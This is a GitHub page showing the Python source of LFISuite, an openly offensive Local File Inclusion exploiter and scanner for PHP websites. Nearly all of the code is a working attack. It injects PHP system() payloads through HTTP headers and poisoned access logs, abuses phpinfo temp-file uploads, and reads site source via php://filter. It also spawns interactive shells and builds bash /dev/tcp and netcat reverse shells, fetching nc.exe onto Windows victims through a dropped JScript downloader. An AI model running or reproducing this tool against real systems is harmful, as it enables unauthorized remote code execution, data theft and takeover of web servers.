forked from D35m0nd142/LFISuite
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathlfisuite.py
1889 lines (1571 loc) · 62.9 KB
/
lfisuite.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# LFISuite: LFI Automatic Exploiter and Scanner
# Author: D35m0nd142, <[email protected]>
# Twitter: @D35m0nd142
# Python version: 2.7
# Tutorial Video: https://www.youtube.com/watch?v=6sY1Skx8MBc
# Github Repository: https://github.com/D35m0nd142/LFISuite
#!/usr/bin/python
# -*- coding: utf-8 -*-
import os
import re
import sys
import urllib
import subprocess
def download(file_url,local_filename):
web_file = urllib.urlopen(file_url)
local_file = open(local_filename, 'w')
local_file.write(web_file.read())
web_file.close()
local_file.close()
def solve_dependencies(module_name,download_url=None):
try:
from pipper import pip_install_module
except:
print "[!] pipper not found in the current directory.. Downloading pipper.."
download("https://raw.githubusercontent.com/D35m0nd142/LFISuite/master/pipper.py","pipper.py")
from pipper import pip_install_module
if(download_url is not None):
print "\n[*] Downloading %s from '%s'.." %(module_name,download_url)
download(download_url,module_name)
if(sys.platform[:3] == "win"): # in case you are using Windows you may need to install an additional module
pip_install_module("win_inet_pton")
else:
pip_install_module(module_name)
import time
import socket
import codecs
import base64
import urllib
import shutil
try:
import requests
except:
solve_dependencies("requests")
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
try:
import socks
except:
solve_dependencies("socks.py","https://raw.githubusercontent.com/D35m0nd142/LFISuite/master/socks.py")
import socks
import threading
from random import randint
try:
from termcolor import colored
except:
solve_dependencies("termcolor")
from termcolor import colored
netcat_url = "https://github.com/D35m0nd142/LFISuite/raw/master/nc.exe"
LFS_VERSION = '1.13' # DO NOT MODIFY THIS FOR ANY REASON!!
#--------- Auto-Hack Global Variables ----------#
ahactive = False
ahurl = ""
ahenvurl = ""
ahlogurl = ""
ahfdurl = ""
ahwebsite = ""
ahfd_errPage = ""
ahpath = ""
ahpaths = []
ahlogs = []
ahfd = []
ahenv = []
ahcnf = []
ahgen = []
#-----------------------------------------------#
# ------------------ Reverse shell ------------------ #
# for Windows
wget_filename = ""
nc_filename = ""
wget_js_content = ""
# for Windows
def initWindowsReverse():
global wget_filename
global wget_js_content
global nc_filename
if(len(wget_filename) > 0 and len(nc_filename) > 0):
return False
wget_num = generateRandom()[11:]
nc_num = generateRandom()[11:]
wget_js_content = """var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);WinHttpReq.Send();BinStream = new ActiveXObject("ADODB.Stream");BinStream.Type = 1;BinStream.Open();BinStream.Write(WinHttpReq.ResponseBody);BinStream.SaveToFile("nc_%s.exe");""" %nc_num
wget_filename = "lfisuite_wget_%s.js" %wget_num
nc_filename = "nc_%s" %nc_num
return True
reverseConn = "bash -i >& /dev/tcp/?/12340 0>&1" # pentest monkey's bash reverse shell
victimOs = ""
def windows_reverse_shell():
global reverseConn
if("?" in reverseConn):
print colored("[WARNING] Make sure to have your netcat listening ('nc -lvp port') before going ahead.","red")
time.sleep(2)
ipBack = raw_input("\n[*] Enter the IP address to connect back to -> ")
portBack = raw_input("[*] Enter the port to connect to [default: 12340] -> ")
if(len(portBack) == 0):
portBack = 12340
reverseConn = "%s -nv %s %s -e cmd.exe" %(nc_filename,ipBack,portBack)
def generic_reverse_shell():
global reverseConn
if("?" in reverseConn):
print colored("[WARNING] Make sure to have your netcat listening ('nc -lvp port') before going ahead.","red")
time.sleep(2)
ipBack = raw_input("\n[*] Enter the IP address to connect back to -> ")
portBack = "notValidPort"
while(len(portBack) > 0 and (portBack.isdigit() is False or int(portBack) > 65535)):
portBack = raw_input("[*] Enter the port to connect to [default: 12340] -> ")
if(len(portBack) == 0):
portBack = 12340
reverseConn = "bash -i >& /dev/tcp/%s/%s 0>&1" %(ipBack,portBack)
def checkIfReverseShell(cmd):
if(cmd == "reverse shell" or cmd == "reverseshell"):
return True
return False
def checkIfWindows(path):
if(victimOs == "Windows" or (len(path) > 0 and "\windows\system32" in path.lower())):
print colored("\n[+] OS: Windows\n","white")
return True
return False
# ----------------------------------------------------#
#-------------------------------------------------------------------Generic------------------------------------------------------------#
gen_headers = {'User-Agent':'Mozilla/5.0 (Windows; U; Windows NT 6.1; rv:2.2) Gecko/20110201',
'Accept-Language':'en-US;',
'Accept-Encoding': 'gzip, deflate',
'Accept': 'text/html,application/xhtml+xml,application/xml;',
'Connection':'close'}
def banner():
os.system('cls' if os.name == 'nt' else 'clear')
print """
.//// *, ,//// *,
.///////////*//** // ,*. , ////* . .,, ..
,*///* /. *//////////. .,,../ ,*/////,.* *///* .,,.*/////////// * ,//////./,
.///* (, *//// **.////,.(. */////*, *///* /. ./////*////,*//////////* */////*. ,#*
///* (, *///* ////,,(. *///////*.////* (, ,////*.////,.( *///*.%% *////////* (,
.###/ (, */////////. ////.*(. .. ,*//////*////./* *////*.////.*/ *///**(, /(((#####/ #,
,###/ (, (########/ #### (/. . ,####( ,####(.,(####/ ,#### (* (###.(/. .#####/*. #,
*###/..,/(*(###/ ** ,#### (/ /####/ * (########### *#### (..###( #/. . *######/, *
/########/.####**#*/( *###( #* *#####. %(,./#######(, # (###( # *###/ #* ., .*####/.(.
/########/ ####,/(. //, (#* ,*/((, ##/. . ... ,%#/ (/, (# /#/. ,* ,/./(.
.********, /*. .#/ .*##(/,. ,/(###(*. .,*****,. ./##(/,. .,**,. .*/(/, v 1.13
./#(/*.
"""
print "/*-------------------------------------------------------------------------*\\"
print "| Local File Inclusion Automatic Exploiter and Scanner + Reverse Shell |"
print "| |"
print "| Modules: AUTO-HACK, /self/environ, /self/fd, phpinfo, php://input, |"
print "| data://, expect://, php://filter, access logs |"
print "| |"
print "| Author: D35m0nd142, <[email protected]> https://twitter.com/d35m0nd142 |"
print "\*-------------------------------------------------------------------------*/\n"
def check_for_update():
lfisuite_github_url = "https://raw.githubusercontent.com/D35m0nd142/LFISuite/master/lfisuite.py"
keyword = "LFS_VERSION = '"
updated = False
print "\n[*] Checking for LFISuite updates.."
time.sleep(1)
try:
lfisuite_content = requests.get(lfisuite_github_url,headers=gen_headers).text
currversion_index = SubstrFind(lfisuite_content,keyword)[0]
lfisuite_content = lfisuite_content[(currversion_index+len(keyword)):]
currversion = ""
for c in lfisuite_content:
if c == '\'':
break
currversion = "%s%s" %(currversion,c)
fcurrversion = float(currversion)
if(fcurrversion > float(LFS_VERSION)):
updated = True
print "[+] New LFISuite version found. Updating.."
download(lfisuite_github_url,sys.argv[0])
print colored("\n[+] LFISuite updated to version %s" %currversion,"red")
print "[i] Visit https://github.com/D35m0nd142/LFISuite/blob/master/CHANGELOG.md for details"
time.sleep(2)
os.system("%s %s" %(sys.executable,sys.argv[0]))
else:
print "[-] No updates available.\n"
except:
print "\n[-] Problem while updating."
if updated:
sys.exit(0)
# this is needed by access_log and passthru
class NoURLEncodingSession(requests.Session):
def send(self, *a, **kw):
a[0].url = a[0].url.replace(urllib.quote("<"), "<")
a[0].url = a[0].url.replace(urllib.quote(" "), " ")
a[0].url = a[0].url.replace(urllib.quote(">"), ">")
return requests.Session.send(self, *a, **kw)
def printChoice(choice):
if("Auto Hack" in choice):
print colored("\n.:: %s ::.\n" %choice, "red")
else:
print colored("\n.:: %s Injection ::.\n" %choice, "red")
def extractWebsiteFromUrl(url):
# Pre: url contains http:// or https:// declaration
splits = url.split('/')
return "%s//%s" %(splits[0],splits[2])
def getHTTPWebsite(ourl): # http://127.0.0.1/dvwa/test.php --> http://127.0.0.1
split = ourl.split("/")
return "%s//%s" %(split[0],split[2])
def removeHttpFromWebsite(website):
if("http://" in website or "https://" in website):
splits = website.split('/')
return splits[2]
return website
def checkHttp(url):
if("http://" not in url and "https://" not in url):
return "http://%s" %url
return url
def isUnknown(par):
if(len(par) < 2 or len(par) > 120):
return "?"
return par
def SubstrFind(resp, toFind):
if(len(toFind) > len(resp)):
return []
found = False
indexes = []
for x in range(0,(len(resp)-len(toFind))+1):
if(ord(resp[x]) == ord(toFind[0])):
found = True
for i in range(0,len(toFind)):
if(ord(resp[x+i]) != ord(toFind[i])):
found = False
break
if(found):
indexes.append(x)
found = False
x += len(toFind)
return indexes
def extractPathFromPaths():
global ahpaths
if len(ahpaths) == 0:
return "<NOT APPLICABLE>"
first = ahpaths[0]
equals = SubstrFind(first, "=")
index = equals[len(equals)-1]+1
nfirst = first[index:]
tmp = ""
for c in nfirst:
if c != '.' and c != "/":
break
tmp += c
if len(tmp) > 0:
tmp = tmp[:-1]
return tmp
def cutURLToLastEqual(url):
indexes = SubstrFind(url,"=")
return url[0:indexes[len(indexes)-1]+1]
def extractPathFromUrl(url):
# Pre: url contains http:// or https:// declaration
slashes = SubstrFind(url,"/")
return url[(slashes[2]):]
def correctUrl(url): # ex: 'http://127.0.0.1/lfi.php?file=/etc/passwd' --> 'http://127.0.0.1/lfi.php?file='
if(url[len(url)-1] == '='):
return url
eq = SubstrFind(url,"=")
if(len(eq) == 0):
print "\n[ERROR] Invalid URL syntax!\n"
sys.exit()
last = eq[len(eq)-1]
return url[:(last+1)]
def checkFilename(filename): # useful in case of drag and drop
while(True):
if(len(filename) > 0):
if(filename[0] == '\''):
filename = filename[1:]
if(filename[len(filename)-1] == '\''):
filename = filename[:-1]
if(os.path.exists(filename)):
return filename
filename = raw_input("[!] Cannot find '%s'.\n[*] Enter a valid name of the file containing the paths to test -> " %filename)
def showInterestingPath(toPrint,stack):
print " %s: [%s]" %(toPrint,len(stack))
bar = "-" * 90
print bar
for path in stack:
print path
print "%s\n" %bar
def generateRandom():
return "AbracadabrA%s" %randint(40,999999)
def onlyPhpPrint():
print colored("[system() calls have been disabled by the website, you can just run php commands (ex: fwrite(fopen('a.txt','w'),\"content\");]\n","red")
def invalidChoice():
print colored("\n[Error] You entered an invalid choice!\n","red")
def exit():
print "\nBye ;-)\n"
sys.exit(0)
#--------------------------------------------------------------/proc/self/environ------------------------------------------------------
se_url = ""
se_par = ""
se_stopStr = ""
se_header_par = ""
se_phponly = False
se_header_pars = ["HTTP_USER_AGENT","HTTP_ACCEPT","HTTP_ACCEPT_ENCODING","HTTP_ACCEPT_LANGUAGE","HTTP_REFERER","HTTP_CONNECTION","HTTP_COOKIE"]
se_header_conv = ["User-Agent","Accept","Accept-Encoding","Accept-Language","Referer","Connection","Cookie"]
se_headers = gen_headers
def se_reverse_shell():
generic_reverse_shell()
print cleanOutput(execSeCmd(correctString(reverseConn)), False)
def getTranslatedPar(word):
global se_header_conv
global se_header_pars
for i in range(0,len(se_header_pars)):
if(word == se_header_pars[i]):
return se_header_conv[i]
def printSwitchUA():
print "\n[!] The choice you made is not acceptable. Switching to HTTP_USER_AGENT."
def setHttpCookie():
global se_headers
print "\n[Warning] In order to get the program working you need to provide a value for HTTP_COOKIE parameter."
print "Why? Before injecting I perform a quick test to figure out how the web response is structured and how parameters are shown."
cookie_val = raw_input("\nHTTP_COOKIE (default: 'nope') -> ")
if(len(cookie_val) == 0):
cookie_val = "nope"
se_headers['Cookie'] = cookie_val
def chooseSe_Par():
global se_par
if(ahactive is False):
print "\nChoose the parameter you prefer to inject"
print "-------------------------------"
for i in range(0,len(se_header_pars)):
print " %s) %s" %(i+1,se_header_pars[i])
print " 8) AUTO-HACK"
print "-------------------------------"
try:
choice = input(" -> ")
except:
printSwitchUA()
choice = 1
else:
choice = 8
if(choice < 1 or choice > 8):
printSwitchUA()
time.sleep(1)
se_par = se_header_pars[0]
if(choice == 8): # auto Hacking module
return True
else:
se_par = se_header_pars[choice-1]
if(se_par == "HTTP_COOKIE"):
setHttpCookie()
return False
def cleanOutput(output, newline):
output = output.replace("\r","").replace("%c" %chr(0), "").replace("\t","") # chr(0)=NUL
if(newline):
output = output.replace("\n","")
return output
def execSeCmd(cmd):
global se_par
global se_headers
if(se_phponly is False):
se_headers['%s' %se_header_par] = '<?php system("%s"); ?>' %cmd
else:
if(";" not in cmd[-2:]):
cmd = "%s;" %cmd
se_headers['%s' %se_header_par] = '<?php %s ?>' %cmd
#print "se_headers = %s\n---------" %se_headers # useful for debugging
if(cmd != reverseConn):
r = requests.get(se_url, headers=se_headers, timeout=15, verify=False)
else:
r = requests.get(se_url, headers=se_headers, verify=False)
resp = r.text
'''print "\nse_headers:\n%s\n\n" %se_headers
print "\n\n-------------\n%s\n-------------\n\n" %resp'''
index_start = SubstrFind(resp, "%s=" %se_par)
index_stop = SubstrFind(resp, se_stopStr)
try:
return resp[(index_start[0]+len(se_par)+1):index_stop[0]]
except:
return "<NOT WORKING>"
def restoreVars():
global se_par
global se_header_par
global se_headers
global se_stopStr
se_headers = gen_headers
se_par = ""
se_stopStr = ""
se_header_par = ""
def correctString(s):
correct = ""
for c in s:
if(c == '"'):
correct += "\\"
correct += c
return correct
def se_fail(par):
print "\n[-] LFI did not work over the parameter '%s'." %se_par
if(par == "None"):
print "[ADVICE] Run the Auto-Hack module to see if the other parameters are vulnerable (it happens!) :-)\n"
def hackSE(par):
global se_par
global se_header_pars
global se_header_par
global se_headers
global se_stopStr
global se_phponly
if(par != "None"):
se_par = par
se_header_par = getTranslatedPar(se_par)
r = requests.get(se_url, headers=se_headers, timeout=15, verify=False)
resp = r.text
if("%s=" %se_par in resp):
stop = ""
fields = resp.split('=')
for x in range(0,len(fields)):
if(se_par in fields[x]):
if(x+1 < len(fields)):
stop = fields[x+1]
break
if(len(stop) > 0):
for i in reversed(stop):
if(i.isupper() is False and i != '_'):
break
se_stopStr += i
se_stopStr = "%s=" %(se_stopStr[::-1])
else:
print "\n[!] Unfortunately the parameter '%s' is not contained in the web response.\n" %se_par
if(par != "None"):
return
sys.exit(0)
output = execSeCmd("id")
if("uid=" in output or "gid=" in output or "Usage of id by" in output):
print colored("\n[+] LFI Worked! :-)","red")
print colored("[*] Opening a system shell...\n","white")
whoami = cleanOutput(execSeCmd("whoami"), True)
pwd = cleanOutput(execSeCmd("pwd"), True)
shell_host = removeHttpFromWebsite(extractWebsiteFromUrl(se_url))
cmd = ""
while(cmd != "exit" and cmd != "quit"):
cmd = raw_input("%s@%s:%s$ " %(whoami, shell_host, pwd))
if(cmd != "exit" and cmd != "quit"):
if(checkIfReverseShell(cmd)):
se_reverse_shell()
else:
got = cleanOutput(execSeCmd(correctString(cmd)), False)
if("<NOT WORKING>" not in got):
print got
exit()
else:
# test in case system() calls have been disabled #
#-------------#
if("system() has been disabled for security reasons in" in output):
se_phponly = True
rand_str = generateRandom()
output = execSeCmd("echo %s;" %rand_str)
if(rand_str in output and ("echo %s" %rand_str) not in output and ("echo%%20%s" %rand_str) not in output):
print colored("\n[+] LFI Worked! :-)","red")
print colored("[*] Opening a shell...","white")
onlyPhpPrint()
print colored("[WARNING] All occurences of \" will be replaced with '.\n","white")
cmd = ""
whoami = isUnknown(execSeCmd("get_current_user();"))
pwd = isUnknown(execSeCmd("getcwd();"))
shell_host = removeHttpFromWebsite(extractWebsiteFromUrl(se_url))
while(cmd != "exit" and cmd != "quit"):
cmd = raw_input("%s@%s:%s$ PHP:// " %(whoami, shell_host, pwd))
cmd = cmd.replace('"','\'')
if(cmd != "exit" and cmd != "quit"):
got = cleanOutput(execSeCmd(correctString(cmd)), False)
if("<NOT WORKING>" not in got):
print got
if(ahactive):
cont = raw_input("\n[*] Do you want to try even the other attacks? (y/n) ")
if(cont == "n" or cont == "N"):
exit()
else:
exit()
else:
se_fail(par)
#-------------#
else:
se_fail(par)
def run_self_environ():
global se_url
global se_headers
global se_header_pars
global ahactive
global ahenvurl
if(ahactive is False):
se_url = raw_input("\n[*] Enter the /proc/self/environ vulnerable URL -> ")
else:
se_url = ahenvurl
se_url = checkHttp(se_url)
se_headers['Referer'] = extractWebsiteFromUrl(se_url)
auto = chooseSe_Par()
if(auto is False):
hackSE("None")
else:
for i in range(0,7):
restoreVars()
print colored("\n[*] Trying to inject '%s'" %se_header_pars[i],"white")
if(i == 6):
setHttpCookie()
hackSE(se_header_pars[i])
#----------------------------------------------------------------------------------------------------------------------------------------#
#-------------------------------------------------------------PHPInfo Injection----------------------------------------------------------#
phpinfo_reverse = False
def windows_phpinfo_reverse_shell(headers,lfipath,phpinfopath,host):
if(initWindowsReverse()):
cmd = "echo %s > %s" %(wget_js_content, wget_filename)
phpinfo_request(headers,cmd,lfipath,phpinfopath,0,host)
cscript = "cscript /nologo %s %s" %(wget_filename,netcat_url)
phpinfo_request(headers,cscript,lfipath,phpinfopath,0,host)
windows_reverse_shell()
print phpinfo_request(headers,reverseConn,lfipath,phpinfopath,0,host)
def phpinfo_reverse_shell(headers,lfipath,phpinfopath,host):
generic_reverse_shell()
print phpinfo_request(headers,reverseConn,lfipath,phpinfopath,0,host)
def phpinfo_ext(content):
indexes = SubstrFind(content, "AbracadabrA")
found = len(indexes) > 0
got = ""
if(found):
start = indexes[0]+11
for x in range(start, len(content)):
if(content[x] == '<'):
break
got += content[x]
return got
def phpinfo_request(headers,cmd,path1,path,test,host):
rcvbuf = 1024
bigz = 3000
junkheaders = 30
junkfiles = 40
junkfilename = '>' * 100000
z = "Z" * bigz
found = 0
phpinfo_headers = {'User-Agent':'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:2.0b8) Gecko/20100101 Firefox/4.0b8',
'Accept-Language':'en-us,en;q=0.5',
'Accept-Encoding': 'gzip, deflate',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Charset': 'windows-1251,utf-8;q=0.7,*;q=0.7',
'z': z,
'Connection':'close'}
if "Cookie" in gen_headers:
phpinfo_headers['Cookie'] = gen_headers['Cookie']
loop = range(0,junkheaders)
for count in loop:
phpinfo_headers['z%s' %count] = count
phpinfo_headers['Content-Type'] = 'multipart/form-data; boundary=---------------------------59502863519624080131137623865'
if("php://" in cmd):
cmd = cmd[6:]
else:
cmd = "system('%s')" %cmd
if(";" not in cmd[-2:]):
cmd = "%s;" %cmd
content = """-----------------------------59502863519624080131137623865\nContent-Disposition: form-data; name="tfile"; filename="test.html"\nContent-Type: text/html\n\nAbracadabrA <?php %s ?>\n-----------------------------59502863519624080131137623865--""" %(cmd)
loop = range(0,junkfiles)
for count in loop:
content = content + """-----------------------------59502863519624080131137623865\nContent-Disposition: form-data; name="ffile%d"; filename="%d%s"\nContent-Type: text/html\n\nno\n-----------------------------59502863519624080131137623865--\n""" %(count,count,junkfilename)
phpinfo_headers['Content-Length'] = '%s' %(len(content))
got = ""
url = "%s%s" %(host,path)
try:
if(phpinfo_reverse):
r = requests.post(url=url, headers=phpinfo_headers, data=content)
else:
r = requests.post(url=url, headers=phpinfo_headers, data=content, timeout=20)
except:
return got
resp = r.text
if("tmp_name" in resp):
found = 1
lines = resp.split('\n')
for line in lines:
if "tmp_name]" in line:
mystr = str(line)
array = mystr.split()
tmp_name = array[2]
#print "tmp_name = '%s'" %tmp_name
break
tmp_url = "%s%s%s" %(host,path1,tmp_name)
r = requests.get(tmp_url,headers=gen_headers,timeout=15, verify=False)
content = r.content
#print "content: \n%s\n\n" %content
got = phpinfo_ext(content)
return got
def run_phpinfo():
global phpinfo_reverse
global victimOs
if(ahactive is False):
host = raw_input("[*] Enter the website without path (ex: 'http://justsitename') -> ")
lfipath = raw_input("[*] Enter the vulnerable LFI path (ex: '/lfi.php?file=../..') -> ")
else:
host = ahwebsite
lfipath = ahpath
phpinfopath = raw_input("[*] Enter the phpinfo path (ex: '/path/info.php') -> ")
'''host = "http://192.168.1.151"
lfipath = "/lfi/lfi.php?page="
phpinfopath = "/lfi/phpinfo.php"'''
headers = ""
rand_str = generateRandom()
cmd = "echo %s" %rand_str
print "\n[*] Generating the request.. wait please.."
found = phpinfo_request(headers,cmd,lfipath,phpinfopath,1,host)
if(len(found) > 0 and rand_str in found):
print colored("\n[+] The website seems to be vulnerable. Opening a system Shell..","white")
time.sleep(0.5)
print colored("[If you want to send PHP commands rather than system commands add php:// before them (ex: php:// fwrite(fopen('a.txt','w'),\"content\");]\n","red")
whoami = isUnknown(cleanOutput(phpinfo_request(headers,"whoami",lfipath,phpinfopath,0,host), True).replace(" ",""))
pwd = isUnknown(cleanOutput(phpinfo_request(headers,"pwd",lfipath,phpinfopath,0,host), True).replace(" ", ""))
if(pwd == "?"):
path = cleanOutput(phpinfo_request(headers,"path",lfipath,phpinfopath,0,host), True).replace(" ","")
if(checkIfWindows(path)):
victimOs = "Windows"
pwd = cleanOutput(phpinfo_request(headers,"cd",lfipath,phpinfopath,0,host), True).replace(" ","")
shell_host = removeHttpFromWebsite(host)
while(cmd != "exit" and cmd != "quit"):
cmd = raw_input("%s@%s:%s$ " %(whoami,shell_host,pwd))
if(cmd != "exit" and cmd != "quit"):
if(checkIfReverseShell(cmd)):
phpinfo_reverse = True
if(victimOs == "Windows"):
windows_phpinfo_reverse_shell(headers,lfipath,phpinfopath,host)
else:
phpinfo_reverse_shell(headers,lfipath,phpinfopath,host)
else:
print phpinfo_request(headers,cmd,lfipath,phpinfopath,0,host)
exit()
else:
rand_str = generateRandom()
found = phpinfo_request(headers,"php://echo %s" %rand_str,lfipath,phpinfopath,1,host)
if(rand_str in found):
print colored("\n[+] The website seems to be vulnerable. Opening a Shell..","white")
time.sleep(0.5)
onlyPhpPrint()
whoami = isUnknown(cleanOutput(phpinfo_request(headers,"php://get_current_user()",lfipath,phpinfopath,0,host), True).replace(" ",""))
pwd = isUnknown(cleanOutput(phpinfo_request(headers,"php://getcwd()",lfipath,phpinfopath,0,host), True).replace(" ", ""))
shell_host = removeHttpFromWebsite(host)
while(cmd != "exit" and cmd != "quit"):
cmd = raw_input("%s@%s:%s$ PHP:// " %(whoami,shell_host,pwd))
if(cmd != "exit" and cmd != "quit"):
print phpinfo_request(headers,"php://"+cmd,lfipath,phpinfopath,0,host)
exit()
#----------------------------------------------------------------------------------------------------------------------------------------#
#---------------------------------------------------------------PHP://Filter-------------------------------------------------------------#
def base64_check(c):
t = ord(c)
if((t >= 65 and t <= 90) or (t >= 97 and t <= 122) or (t >= 48 and t <= 57) or (t == 43) or (t == 47) or (t == 61)):
return True;
return False;
def phpfilter_extract(content):
ftemp = ""
found = []
lines = content.split('\n')
for line in lines:
ftemp = ""
length = len(line)
for x in range(0,length):
if(base64_check(line[x])):
ftemp += line[x]
else:
if(length > 100 and base64_check(line[x]) is False and len(ftemp) >= (length/2)):
break
ftemp = ""
if(len(ftemp) > 0):
found.append(ftemp)
final = ""
if(len(found) > 50):
maxim = 0
index = -1
for x in range(0,len(found)):
length = len(found[x])
if(length > maxim):
maxim = length
index = x
final = found[x]
return final
def run_phpfilter():
global ahactive
global ahurl
if(ahactive is False):
ofilterurl = raw_input("[*] Enter the php://filter vulnerable url (ex: 'http://site/index.php?page=') -> ")
else:
ofilterurl = ahurl
ofilterurl = correctUrl(ofilterurl)
ofilterurl = checkHttp(ofilterurl)
filterpage = "1"
while(True):
filterpage = raw_input("[*] Enter the page you want to steal information of ['0' to exit] -> ")
if(filterpage == "0"):
break
filterurl = "%sphp://filter/convert.base64-encode/resource=%s" %(ofilterurl,filterpage)
r = requests.get(filterurl,headers=gen_headers,timeout=15, verify=False)
filtercontent = r.text
found = phpfilter_extract(filtercontent)
if(len(found) == 0):
print "[-] Any interesting Base64 code found :("
else:
see = raw_input("[+] Found possible interesting Base64 code. Do you want me to show it? (y/n) ")
if(see == "y" or see == "Y" or see == "yes"):
print "-------------------------------------------------------------------------------------------------------------------------"
print "%s" %found
print "-------------------------------------------------------------------------------------------------------------------------\n"
decode = raw_input("[*] Do you want me to decode it? (y/n) ")
if(decode == "y" or decode == "Y" or decode == "yes"):
decoded = base64.b64decode(found)
print "\n\n--Decoded text-----------------------------------------------------------------------------------------------------------\n"
print "%s" %decoded
print "\n-------------------------------------------------------------------------------------------------------------------------\n"
print ""
#----------------------------------------------------------------------------------------------------------------------------------------#
#---------------------------------------------------------------Access_Log---------------------------------------------------------------#
access_log_reverse = False
def access_log_windows_reverse_shell(host,keyword,ologurl):
global access_log_reverse
access_log_reverse = True
if(initWindowsReverse()):
cmd = "echo %s > %s" %(wget_js_content, wget_filename)
send_access_log_cmd(cmd, host, keyword)
cscript = "cscript /nologo %s %s" %(wget_filename,netcat_url)
send_access_log_cmd(cscript, host, keyword)
windows_reverse_shell()
send_access_log_cmd(reverseConn, host, keyword)
print cleanOutput(access_log_ext(ologurl, "\"%s /" %keyword), False)
def access_log_reverse_shell(host,keyword,ologurl):
global access_log_reverse
access_log_reverse = True
generic_reverse_shell()
send_access_log_cmd(reverseConn, host, keyword)
print cleanOutput(access_log_ext(ologurl, "\"%s /" %keyword), False)
def access_control(resp,keyword,rand_str):
lines = resp.split('\n')
if("_PHP" in keyword): # in case system() calls have been disabled
keyword = keyword[:-4]
if(len(SubstrFind(resp,rand_str)) > 0 and len(SubstrFind(resp,"echo %s" %rand_str)) == 0 and
len(SubstrFind(resp,"echo%%20%s" %rand_str)) == 0):
return True
return False
#----------------------------------------------------
def send_access_log_cmd(cmd,host,keyword):
path = ""
if("_PHP" in keyword):
keyword = keyword[:-4]
if(" " in cmd):
b64cmd = base64.b64encode(cmd)
path = "/<?php eval(base64_decode('%s'));?>" %(b64cmd)
else:
path = "/<?php %s?>" %(cmd)
else:
b64cmd = base64.b64encode(cmd)
path = "/<?php system(base64_decode('%s'));?>" %(b64cmd)
s = NoURLEncodingSession()
url = "%s/%s" %(host,path)
if("GET" in keyword):
s.get(url, headers=gen_headers)
else:
s.head(url, headers=gen_headers)
def access_log_ext(url, keyword):
global access_log_reverse
if(access_log_reverse):
r = requests.get(url,headers=gen_headers, verify=False)
else:
r = requests.get(url,headers=gen_headers,timeout=15, verify=False)
resp = r.text
get_indexes = SubstrFind(resp,keyword)
nget = len(get_indexes)
if(nget > 0):
last = get_indexes[nget-1]
